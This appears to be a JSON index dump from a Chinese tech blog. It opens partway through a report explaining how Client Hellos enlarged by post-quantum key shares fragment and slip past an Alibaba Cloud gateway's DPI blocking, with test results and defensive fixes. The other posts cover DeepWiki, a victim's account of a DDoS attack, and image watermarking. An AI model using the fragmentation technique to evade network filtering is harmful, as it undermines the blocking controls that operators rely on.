\u003ctd\u003e默认开启 PQC (Kyber768)\u003c/td\u003e\n          \u003ctd\u003e~1900 bytes\u003c/td\u003e\n          \u003ctd\u003e✅ \u003cstrong\u003e是\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003e绕过 (200 OK)\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e包过大触发分片，DPI 解析失败导致放行\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCurl (Linux 新版)\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e默认开启 PQC (Kyber768)\u003c/td\u003e\n          \u003ctd\u003e~1800 bytes\u003c/td\u003e\n          \u003ctd\u003e✅ \u003cstrong\u003e是\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003e绕过 (200 OK)\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e同上\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCurl (伪装 TLS 1.2)\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e伪装 1.2 但带 PQC Key Share\u003c/td\u003e\n          \u003ctd\u003e~2400 bytes\u003c/td\u003e\n          \u003ctd\u003e✅ \u003cstrong\u003e是\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003e绕过 (200 OK)\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e只要有 PQC 撑大包，版本号伪装也能过\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCurl (手动指定)\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003e--curves X25519\u003c/code\u003e (禁用 PQC)\u003c/td\u003e\n          \u003ctd\u003e~300 bytes\u003c/td\u003e\n          \u003ctd\u003e❌ 否\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003e拦截 (RST)\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e单包完整，DPI 成功提取 SNI 并拦截\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCurl (Windows)\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e旧版/Schannel (无 PQC)\u003c/td\u003e\n          \u003ctd\u003e~450 bytes\u003c/td\u003e\n          \u003ctd\u003e❌ 否\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003e拦截 (RST)\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e同上\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eFirefox (强制 1.2)\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e纯 TLS 1.2 (无 KeyShare)\u003c/td\u003e\n          \u003ctd\u003e~180 bytes\u003c/td\u003e\n          \u003ctd\u003e❌ 否\u003c/td\u003e\n          \u003ctd\u003e\u003cstrong\u003e拦截 (RST)\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e纯 TLS 1.2 包极小，DPI 轻松解析拦截\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"3-技术细节分析\"\u003e3. 技术细节分析\u003c/h2\u003e\n\u003ch3 id=\"31-核心机制pqc-撑爆-mtu\"\u003e3.1 核心机制：PQC 撑爆 MTU\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePQC 引入\u003c/strong\u003e：TLS 1.3 引入了后量子加密算法支持。主流的 \u003ccode\u003eX25519MLKEM768\u003c/code\u003e (Kyber768) 密钥交换需要在 \u003ccode\u003eClient Hello\u003c/code\u003e 的 \u003ccode\u003ekey_share\u003c/code\u003e 扩展中携带约 \u003cstrong\u003e1200 字节\u003c/strong\u003e 的公钥数据。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e包大小激增\u003c/strong\u003e：加上其他常规扩展（SNI, ALPN, Signature Algorithms 等），整个 \u003ccode\u003eClient Hello\u003c/code\u003e 的长度通常在 \u003cstrong\u003e1800 - 2500 字节\u003c/strong\u003e 之间。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTCP 分片\u003c/strong\u003e：标准以太网 MTU 为 1500 字节。超过此大小的 TLS 握手包必须被网络协议栈拆分为多个 TCP 段（Segments）发送。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"32-dpi-缺陷fail-open\"\u003e3.2 DPI 缺陷：Fail-Open\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e解析逻辑\u003c/strong\u003e：阿里云网关的 DPI 引擎似乎\u003cstrong\u003e仅检测 TLS 握手的第一个 TCP 数据包\u003c/strong\u003e。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e截断失效\u003c/strong\u003e：对于分片的 Client Hello，SNI 扩展虽然通常在第一个包中，但由于 TLS Record Layer 的 \u003ccode\u003eLength\u003c/code\u003e 字段指示的长度（如 1800）远大于实际接收到的第一个分片长度（如 1400），DPI 引擎会判断为报文不完整或无法解析。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e策略选择\u003c/strong\u003e：为了避免在高并发下进行昂贵的 TCP 流重组（Stream Reassembly），或者避免误杀（False Positive），DPI 采取了 \u003cstrong\u003eFail-Open\u003c/strong\u003e 策略，即 \u003cstrong\u003e“看不懂就行”\u003c/strong\u003e。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3 id=\"33-关键抓包证据-wireshark-frames\"\u003e3.3 关键抓包证据 (Wireshark Frames)\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eFrame 4251 (Firefox - 绕过)\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eLength: 1890\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e[2 Reassembled TCP Segments]\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eExtension: key_share ... X25519MLKEM768\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eFrame 964 (Firefox 强制 TLS 1.2 - 拦截)\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eLength: 186\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e无 \u003ccode\u003ekey_share\u003c/code\u003e，无 PQC。\u003c/li\u003e\n\u003cli\u003e单包发送，立即 RST。\u003c/li\u003e\n\u003c/ul\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eFrame 568 (伪装 TLS 1.2 - 绕过)\u003c/strong\u003e:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eVersion: TLS 1.2\u003c/code\u003e 但包含 PQC Key Share。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eLength: 2441\u003c/code\u003e，分片 -\u0026gt; 绕过。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"4-危害与建议\"\u003e4. 危害与建议\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003e危害\u003c/strong\u003e：当前的监管阻断策略对现代流量（主流浏览器、新版工具）几乎完全失效，仅能拦截旧设备或特定配置的爬虫，形同虚设。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e建议\u003c/strong\u003e：\u003c/li\u003e\n\u003c/ul\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003e升级 DPI 引擎\u003c/strong\u003e：必须支持 TCP 流重组（Reassembly），确保能够还原并解析跨包的 TLS Client Hello。\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003e优化解析逻辑\u003c/strong\u003e：即使不重组，也可以尝试在第一个分片中尽力提取 SNI（SNI 通常靠前），但这可能容易被 Padding 混淆绕过。最稳妥的方式依然是流重组。\u003c/li\u003e\n\u003c/ol\u003e","title":"阿里云网关 DPI 阻断绕过漏洞分析报告：TLS Client Hello 分片逃逸"},{"content":"这是什么？ 在AI大道当行的时代，DeepWiki提供免费的AI用以分析全球的Github仓库，只要你的仓库有一些Star，稍微流行一些，就有可能被DeepWiki收录，并且自动通过AI大模型创建专属于你的Github仓库的强大Wiki！\n如何查看我的仓库是否被收录？ 前往 DeepWiki | AI documentation you can talk to, for every repo 搜索你的 Github 用户名 即可看到当前DeepWiki收录的你的所有仓库\nDeepWiki爬取的频率不算很高，我们可以通过在仓库README添加一串文本来声明该仓库希望DeepWiki收录，之后，按DeepWiki所说，将会每周爬取一次最新代码并生成Wiki\n[![Ask DeepWiki](https://deepwiki.com/badge.svg)](https://deepwiki.com/你的Github用户名/你的Github仓库) 之后，若DeepWiki已经收录该仓库，你将可以看到醒目的提示\n接下来\u0026hellip;？ 你可以将DeepWiki贴到你的网站，服务，App上，让用户遇到问题直接询问DeepWiki！无需再手动搭建你的知识库了！\n又或者，你也可以打开其他仓库的Wiki，尝试通过询问DeepWiki AI来快速上手他们！\n","permalink":"https://blog.2x.nz/posts/deepwiki/","summary":"\u003ch1 id=\"这是什么\"\u003e这是什么？\u003c/h1\u003e\n\u003cp\u003e在AI大道当行的时代，DeepWiki提供免费的AI用以分析全球的Github仓库，只要你的仓库有一些Star，稍微流行一些，就有可能被DeepWiki收录，并且自动通过AI大模型创建专属于你的Github仓库的强大Wiki！\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/deepwiki/img/deepwiki.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"如何查看我的仓库是否被收录\"\u003e如何查看我的仓库是否被收录？\u003c/h1\u003e\n\u003cp\u003e前往 \u003ca href=\"https://deepwiki.com/\"\u003eDeepWiki | AI documentation you can talk to, for every repo\u003c/a\u003e 搜索你的 \u003cstrong\u003eGithub 用户名\u003c/strong\u003e 即可看到当前DeepWiki收录的你的所有仓库\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/deepwiki/img/deepwiki-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003eDeepWiki爬取的频率不算很高，我们可以通过在仓库README添加一串文本来声明该仓库希望DeepWiki收录，之后，按DeepWiki所说，将会每周爬取一次最新代码并生成Wiki\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-sql\" data-lang=\"sql\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[\u003cspan style=\"color:#f92672\"\u003e!\u003c/span\u003e[Ask DeepWiki](https:\u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003edeepwiki.com\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebadge.svg)](https:\u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003edeepwiki.com\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e你的\u003c/span\u003eGithub用户名\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e你的\u003c/span\u003eGithub仓库)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/deepwiki/img/deepwiki-3.png\"\u003e\u003c/p\u003e\n\u003cp\u003e之后，若DeepWiki已经收录该仓库，你将可以看到醒目的提示\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/deepwiki/img/deepwiki-2.png\"\u003e\u003c/p\u003e\n\u003ch1 id=\"接下来\"\u003e接下来\u0026hellip;？\u003c/h1\u003e\n\u003cp\u003e你可以将DeepWiki贴到你的网站，服务，App上，让用户遇到问题直接询问DeepWiki！无需再手动搭建你的知识库了！\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/deepwiki/img/deepwiki-5.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/deepwiki/img/deepwiki-4.png\"\u003e\u003c/p\u003e\n\u003cp\u003e又或者，你也可以打开其他仓库的Wiki，尝试通过询问DeepWiki AI来快速上手他们！\u003c/p\u003e","title":"论DeepWiki为什么是神！"},{"content":"引言 本站建站初使用 静态 架构就是防止别有用心之人进行DDoS\n你想啊，一个静态网站，所有攻击流量都是打在 CDN的边缘节点 上，也就是等于攻打 整个CDN厂商\n一是很难打死，二是没必要，毕竟静态网站的背后没有源站，也不涉及利益，纯粹是白打\n正常来说，DDOS应该是针对单个IP的，因为正常来说，运营一个网站，肯定是需要买一台服务器，然后再在其上跑服务，最终一切准备就绪开放到公网中\n如果说没有高防，并且没有CDN，市面上很多的免费DDOS就可以轻松将一个IP打死\n但是，该网站情况非常不同，它是一个 由CDN直接应答的静态网站\n也就是说，攻击该网站 = 攻击CDN\n按往常来说，这几乎是不可能的\n从宏观角度来思考，CDN是用来清洗流量的，清洗恶意流量，然后放行干净流量访问源站\n但是如果是一个静态网站呢？\n它根本就没有源站，每一个请求都被视为有效请求被CDN所应答\n所以综上，如果有人打CDN，绝对是自讨苦吃，我也根本不需要管\n但，真的是这样吗？\n如果说攻击者的目的不是 打死CDN 呢？\n那么事情就变得有趣起来了\n第一次大规模攻击：6.65TB流量冲击 以下记录于2025年12月16日，是本站遭受的第一次大规模DDoS攻击\n于 2025年12月16号 11:13，我在和我的朋友测试项目的时候，有一个知识点他忘记了，我提议他前往我的博客查看，却被告知博客访问报 570 状态码\n我立即使用 https://itdog.cn 测试了我的博客网站 https://acofork.com 发现大部分节点都为 570 状态码\n因为当时我的网站部署在 EdgeOne\n随后，我向腾讯客服求证，了解到该状态码是一个 单节点限频访问 的状态码\n我的朋友甚至还在调侃说：你网站🔥了\n但是事情貌似还有一些诡异，为什么海外都是 200 OK？\n我开始怀疑被打了\n可能玩静态久了，没有第一时间上到 EdgeOne 查看请求数和流量，想着都是静态，谁没事打呢\n然后我就回家，暂时切了一下逻辑\n之前：EdgeOne Pages 直接提供服务，但是570 现在：EdgeOne CDN 回源 Cloudflare Pages 切完后逐步好转，虽然速度有些慢，然后我就睡觉了\n真相大白 睡醒后我越想越奇怪，于是就登上了 EdgeOne Pages 控制台，然后一看，我嘞个大雷\n随后我抱着好奇的心态想看看ESA防御咋样，没想到刚切过去阿里云就给我发消息了\n于是\u0026hellip;\n依旧是熟悉的印度尼西亚\n那没招了，随后我于10分钟内极速 完全切到Cloudflare Pages\n目前来看 Cloudflare Pages 也挺绿的\n最后发了一个被打的B站视频，然后得知\n我去！大手子来了！\n本次攻击总结 本站遭受了建站以来规模最大的一次DDoS攻击，总流量6.65TB，峰值瞬发1.95GB/s\n当时 acofork.com 域名所有主要业务重定向为 2x.nz，所有业务采用 Cloudflare CDN\n作死回马枪：又切回了ESA 切到Cloudflare之后，攻击消停了一段时间，网站也恢复了正常访问\n但是，我心里总有个疙瘩——我都有备案域名了，不用国内CDN是不是太憋屈了？\n国内CDN对于国内访客来说，访问速度确实是顶级的。Cloudflare虽然防护能力强，但国内访问速度确实不如国内CDN\n于是，在一番纠结之后，我做了一个\u0026quot;作死\u0026quot;的决定——又把网站切回了ESA（阿里云全站加速）\n不过这次我学聪明了，配置了分流：国内访客使用国内IP访问会由ESA应答，而海外访问由CF应答。同时，我在ESA上配置了L7层的海外屏蔽——如果强制通过海外IP访问ESA，请求会被拦截\n当时以为这样就能兼顾速度和防护了，但事情远没有这么简单\n持续攻击：长达四个月的攻防战 攻击升级：国内IP攻击 在我做了分流和L7海外屏蔽的情况下，攻击者并没有放弃，而是改变了策略——开始使用大量的国内IP进行攻击\n由于我们没有也根本不可能对国内访客访问国内CDN一刀切死，这种攻击几乎无法在L7层面进行有效防护\n我们可以顺便想想为什么攻击者有这么多的国内IP？真的是自己烧的钱吗？我们不妨看看大部分流量的UA（尽管它可以伪造）\n可以看到大部分都为BT下载器，这可能和最近的 React/NextJS - NVD - CVE-2025-55182 以及 FnOS - 重要安全更新通知 有关。攻击者可能从公网扫描了大批未及时修复漏洞的肉鸡发起的攻击\n不过就算大概知道了攻击手法，也不知道防范方案，所以在这几天，我们几乎处于无计可施的状态，虽然上了速率限制，但是由于攻击源IP非常多，速率限制几乎是被触发后就切IP，最终依然可以做到一天拉流几十T\n接着我又将国内CDN的 HTTP2 关闭，由于H2可以连接复用，而一旦不支持H2，攻击者就仅能通过H1或H1.1来刷流量，每一个HTTP连接都会占用一个原始的TCP连接，我认为这么做可以让攻击者单机拉流更困难，但是就如上文所说，攻击源IP非常多，这种做法似乎并不能牵制多久\n网站被攻击的时候所有人都无法打开，但我确实也已经无计可施了\n攻击扩散：API也被盯上 最后，攻击者不再执着仅攻击这个静态站点了，转而去攻击其他的API，比如Umami，随机图等等\n不久后，EdgeOne就封掉了随机图的域名，我不得不去另寻他法来解决\n当时我暂时通过换一个子域名去规避针对于域名的封禁，但是一旦改了API域名，所有用这个API的业务都需要同步更改，这耗费了我不少的精力\n一想到等新一轮的攻击到来后，域名再次被攻击至封禁，接着再切域名，再改服务等等就很累\n群u粉丝也是说到\n确实也是这样，尽管国内用户直连国内CDN能得到及其优异的访问，但是一旦被打，就连访问都访问不上，更别说速度了\n最终方案：迁移至Cloudflare 最终，又花了小半天时间将该网站本体以及其他API全部迁移到了Cloudflare，尽管攻击者仍在持续不断的攻击，但是还不至于打死Cloudflare\n疑难解答 至此还有非常多的内容没说，但是他们没法串在一起，就用QA的形式回答吧\n为什么只有你被打？为什么我的网站没被打？ 因为我是主播，被打了会有反应，很可爱\n为什么要攻击一个静态网站？静态不是打不死吗？ 的确，打静态网站 = 打CDN，但由于使用国内CDN，如EO/ESA，众所周知，国内的带宽非常金贵，并且EO/ESA还是免费提供服务的，防护力度自然没有国际大厂Cloudflare强力。通过上文也可知，攻击者的确可以 打死EO/ESA，使其在一段时间无法为你的网站提供服务。另一方面，如果我们不做任何防护措施，CDN平台就可能会认为我们在滥用资源，从而封禁/清退域名，使得我们后续实行补救措施更加困难\n不是已经做了WAF（如海外屏蔽，速率限制等）吗？难道这些规则纯摆设吗？ 要回答这个问题，我们首先需要知道WAF本来是防什么的。正常来说，一个网站应该是，源站脆弱，由CDN拦截大部分恶意请求，仅让正常请求流入源站。就好比你的源站有高清无码大片，你就可以写个速率限制，让单IP一秒只能请求一次，这样，恶意请求就拿不到你源站热情的高清无码大片，只能拿到CDN冰冷的拦截画面。但我们是静态，没有源站，或者说源站就是CDN。所有请求，有效或无效都是直接打到\u0026quot;源站\u0026quot;，也就是CDN上的，哪怕我们写了海外屏蔽，写了速率限制，这些也都是L7层的，攻击者仍然可以无限制的去在L4层建立TCP连接来促使CDN拒绝来自我们站点域名的服务。除非我们能够控制CDN的L4层WAF，并且设置严格的WAF规则，直接拒绝来自攻击者的TCP握手请求，才有可能逃脱最终被打死的宿命\n为什么要切Cloudflare？不是说攻击者打的是CDN吗，Cloudflare就不会被打死吗？ Cloudflare曾抵御过高达 22.2Tbps 的攻击，对于攻击我们的流量来说，完全是小菜一碟，详见：https://x.com/Cloudflare/status/1970244046946759024，Cloudflare 2025年第三季度DDoS威胁报告——包括僵尸网络的顶尖攻击者Aisuru\n我也有网站，我要如何避免如此恐怖的DDOS攻击？ 不让攻击者觉得打你有价值，打你好玩，你就不会被打（？）\n所有攻击报表 我们是最近刚切到Cloudflare的，在此之前我们使用的是EdgeOne/ESA\nCloudflare ESA 最终复盘 经过这四个月的攻防战，总结出以下几点：\n免费的国内CDN并不抗打：就算写好WAF规则，CDN并不会清退你，但是在攻击期间网站仍会处于宕机状态。除非我们有L4权限，能在TCP握手层就丢掉攻击者的连接，否则L7层的WAF规则对于这种大规模分布式攻击效果有限。\n对于纯静态网站，防护薄弱的CDN风险很高：如果部署在防护薄弱的CDN，攻击者拉出大流量不仅会导致网站短时间宕机，长时间不处理还会被CDN清退。\n此种攻击级别史无前例，目前解决方案就是切换为Cloudflare CDN：因为Cloudflare体量足够大，能够抗住如此大的DDoS攻击，并保证SLA。Cloudflare曾抵御过22.2Tbps的攻击，对于这种规模的攻击完全不在话下。\n读者几乎不用担心自己的网站会被攻击：此种规模的攻击明显是有组织、针对性的，攻击成本很高，几乎不可能用来泛攻击。普通网站根本没有被攻击的价值，除非你像笔者一样被\u0026quot;盯上\u0026quot;了。\n","permalink":"https://blog.2x.nz/posts/review-ddos/","summary":"\u003ch1 id=\"引言\"\u003e引言\u003c/h1\u003e\n\u003cp\u003e本站建站初使用 \u003cstrong\u003e静态\u003c/strong\u003e 架构就是防止别有用心之人进行DDoS\u003c/p\u003e\n\u003cp\u003e你想啊，一个静态网站，所有攻击流量都是打在 \u003cstrong\u003eCDN的边缘节点\u003c/strong\u003e 上，也就是等于攻打 \u003cstrong\u003e整个CDN厂商\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e一是很难打死，二是没必要，毕竟静态网站的背后没有源站，也不涉及利益，纯粹是白打\u003c/p\u003e\n\u003cp\u003e正常来说，DDOS应该是针对单个IP的，因为正常来说，运营一个网站，肯定是需要买一台服务器，然后再在其上跑服务，最终一切准备就绪开放到公网中\u003c/p\u003e\n\u003cp\u003e如果说没有高防，并且没有CDN，市面上很多的免费DDOS就可以轻松将一个IP打死\u003c/p\u003e\n\u003cp\u003e但是，该网站情况非常不同，它是一个 \u003cstrong\u003e由CDN直接应答的静态网站\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/review-ddos/img/review-ddos.png\"\u003e\u003c/p\u003e\n\u003cp\u003e也就是说，\u003cstrong\u003e攻击该网站 = 攻击CDN\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e按往常来说，这几乎是不可能的\u003c/p\u003e\n\u003cp\u003e从宏观角度来思考，CDN是用来清洗流量的，清洗恶意流量，然后放行干净流量访问源站\u003c/p\u003e\n\u003cp\u003e但是如果是一个静态网站呢？\u003c/p\u003e\n\u003cp\u003e它根本就没有源站，每一个请求都被视为有效请求被CDN所应答\u003c/p\u003e\n\u003cp\u003e所以综上，如果有人打CDN，绝对是自讨苦吃，我也根本不需要管\u003c/p\u003e\n\u003cp\u003e但，真的是这样吗？\u003c/p\u003e\n\u003cp\u003e如果说攻击者的目的不是 \u003cstrong\u003e打死CDN\u003c/strong\u003e 呢？\u003c/p\u003e\n\u003cp\u003e那么事情就变得有趣起来了\u003c/p\u003e\n\u003chr\u003e\n\u003ch1 id=\"第一次大规模攻击665tb流量冲击\"\u003e第一次大规模攻击：6.65TB流量冲击\u003c/h1\u003e\n\u003cp\u003e\u003cem\u003e以下记录于2025年12月16日，是本站遭受的第一次大规模DDoS攻击\u003c/em\u003e\u003c/p\u003e\n\u003cp\u003e于 \u003cstrong\u003e2025年12月16号 11:13\u003c/strong\u003e，我在和我的朋友测试项目的时候，有一个知识点他忘记了，我提议他前往我的博客查看，却被告知博客访问报 \u003cstrong\u003e570\u003c/strong\u003e 状态码\u003c/p\u003e\n\u003cp\u003e我立即使用 \u003ca href=\"https://itdog.cn\"\u003ehttps://itdog.cn\u003c/a\u003e 测试了我的博客网站 \u003ca href=\"https://acofork.com\"\u003ehttps://acofork.com\u003c/a\u003e 发现大部分节点都为 \u003cstrong\u003e570\u003c/strong\u003e 状态码\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/review-ddos/img/4f3b8517527460574d03479cc64655be.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e因为当时我的网站部署在 \u003cstrong\u003eEdgeOne\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e随后，我向腾讯客服求证，了解到该状态码是一个 \u003cstrong\u003e单节点限频访问\u003c/strong\u003e 的状态码\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/review-ddos/img/5082a73ffa31ee435c9c7894263ae4cd.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e我的朋友甚至还在调侃说：\u003cstrong\u003e你网站🔥了\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/review-ddos/img/ddos-6t-1.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e但是事情貌似还有一些诡异，为什么海外都是 \u003cstrong\u003e200 OK\u003c/strong\u003e？\u003c/p\u003e\n\u003cp\u003e我开始怀疑被打了\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/posts/review-ddos/img/ddos-6t-2.webp\"\u003e\u003c/p\u003e\n\u003cp\u003e可能玩静态久了，没有第一时间上到 \u003cstrong\u003eEdgeOne\u003c/strong\u003e 查看请求数和流量，想着都是静态，谁没事打呢\u003c/p\u003e\n\u003cp\u003e然后我就回家，暂时切了一下逻辑\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e之前：\u003cstrong\u003eEdgeOne Pages\u003c/strong\u003e 直接提供服务，但是570\u003c/li\u003e\n\u003cli\u003e现在：\u003cstrong\u003eEdgeOne CDN\u003c/strong\u003e 回源 \u003cstrong\u003eCloudflare Pages\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e切完后逐步好转，虽然速度有些慢，然后我就睡觉了\u003c/p\u003e\n\u003ch2 id=\"真相大白\"\u003e真相大白\u003c/h2\u003e\n\u003cp\u003e睡醒后我越想越奇怪，于是就登上了 \u003cstrong\u003eEdgeOne Pages\u003c/strong\u003e 控制台，然后一看，我嘞个大雷\u003c/p\u003e","title":"连着被打了4个月，来做一个彻头彻尾的复盘吧！"},{"content":" [!CAUTION] 2月4号的2xss你好呀\n你TM加几把水印呢，还不备份，还Drop并且强制推送远端，还TM给Github发邮件让他们GC\n你知道老子今天从 .edgeone .astro 里面找缓存的没水印的原图图片有多几把难吗\n你真的牛大了，给我桂霞！\n前言 这是很早之前的事了，简单来说就是有人盗了我的这一篇文章： 关于我折腾了一晚上 EdgeOne - AcoFork Blog\n这是他发在微信公众号上的： https://mp.weixin.qq.com/s/F4R6FtJmyHEaKkeMDI6IDw\n可以看到，文章纯纯是照搬，而且格式有很多明显错误，并且图片也是用的我的，甚至你还能看到上古域名 afo.im\n并且不难发现，它的文章发布日期为\n而我的文章发布日期为\n有人可能会说，你是静态博客，发布日期只是一串数字，可以随便改，那么我拿出Github当时的提交记录\n又有人可能会说了，浏览器中的HTML是可以改的，那么我给出当时的提交URL，你们可以自行查阅： posts: 发布文章：关于我折腾了一晚上 EdgeOne（ps：腾讯云我草泥马😅） · afoim/fuwari@4e8fa65\n好的，那么至此我应该可以证明我是原作者了\n其实被盗文章也没啥，我本身也不通过文章来盈利。但是，当我看到我自己拿我自己电脑使用QQ截的图片被发到微信公众号上并默认添加了他的水印，就有点膈应了\n我向来视我的文章如老婆，他这样一整就好像我被NTR了一样\n那么开始水印战争吧，我要让盗文章的就算盗了，也要让最终读者知道到底是谁做的\n正式开始 终于又到了我最喜欢的技术环节，那么既然要加水印，我最先想到的就是一个十分古老的LSB水印项目： guofei9987/blind_watermark: Blind\u0026amp;Invisible Watermark ，图片盲水印，提取水印无须原图！\n它的原理非常简单，就是对图像做一点很细微的改动，通过改动像素来插入一个编码后的二维码，由于二维码天生抗干扰，再加上一张正常规格的图片像素点非常多，该项目README演示了对添加水印的图片做旋转，缩放，遮挡都可以完整提取出水印\n我当场就扒下来看了看用了用，发现并不是很适用\n首先就是我的图片在正式在网站中展示前都会被Sharp进行压缩，虽然WEBP是个好格式，它可以大幅缩减图片大小，而质量仅下降一点点。但是对于LSB来说，你对大部分像素完全遮挡不是什么问题，但是WEBP是对整个图像进行压缩，这无疑是对所有像素进行“污染”，实测一旦通过压缩，甚至是简单的重复截图就可以完全破坏水印，而且该项目由于是专注于LSB水印，默认添加的水印也是不可见的，除非你是显微镜，否则文章被盗后甚至是平台默认加个水印，你的水印就不翼而飞了\n接下来我就尝试使用传统水印，由于我的博客本身在构建的时候就会使用Sharp进行压缩，Sharp本身也就是一个高效的图像合成库，我就直接拿它将我的域名作为水印覆盖到每一张图上\n就像这样： 这里就不配图了，因为按理来说现在全站的文章都有这个神秘的水印\n到这应该就结束了，但是为了严谨，避免别有用心之人跑到Github上面去扒我们的历史提交，我们应当重写仓库历史提交，删除所有图片，然后在这次提交中再提交回来，并且找Github删除孤立的提交与资源文件，详见： 如何让一个文件在Git提交中永远消失？如何丢掉其中一条提交并保持逻辑完整？ - AcoFork Blog\n至此，应该再无任何人能得到无水印的原图了，只要我不再写完新文章后忘记运行加水印的脚本，结束\n题外话 让文章不被盗是不可能的，对于文本内容，几乎无计可施，因为别有用心之人仅需爬RSS即可获取你的文章，但是对于图片，我们也只有加水印这一种方式，虽然这会让原本干净的图片变得有点遭\n","permalink":"https://blog.2x.nz/posts/watermark/","summary":"\u003cblockquote\u003e\n\u003cp\u003e[!CAUTION]\n2月4号的2xss你好呀\u003c/p\u003e\n\u003cp\u003e你TM加几把水印呢，还不备份，还Drop并且强制推送远端，还TM给Github发邮件让他们GC\u003c/p\u003e\n\u003cp\u003e你知道老子今天从 \u003ccode\u003e.edgeone\u003c/code\u003e \u003ccode\u003e.astro\u003c/code\u003e 里面找缓存的没水印的原图图片有多几把难吗\u003c/p\u003e\n\u003cp\u003e你真的牛大了，给我桂霞！\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 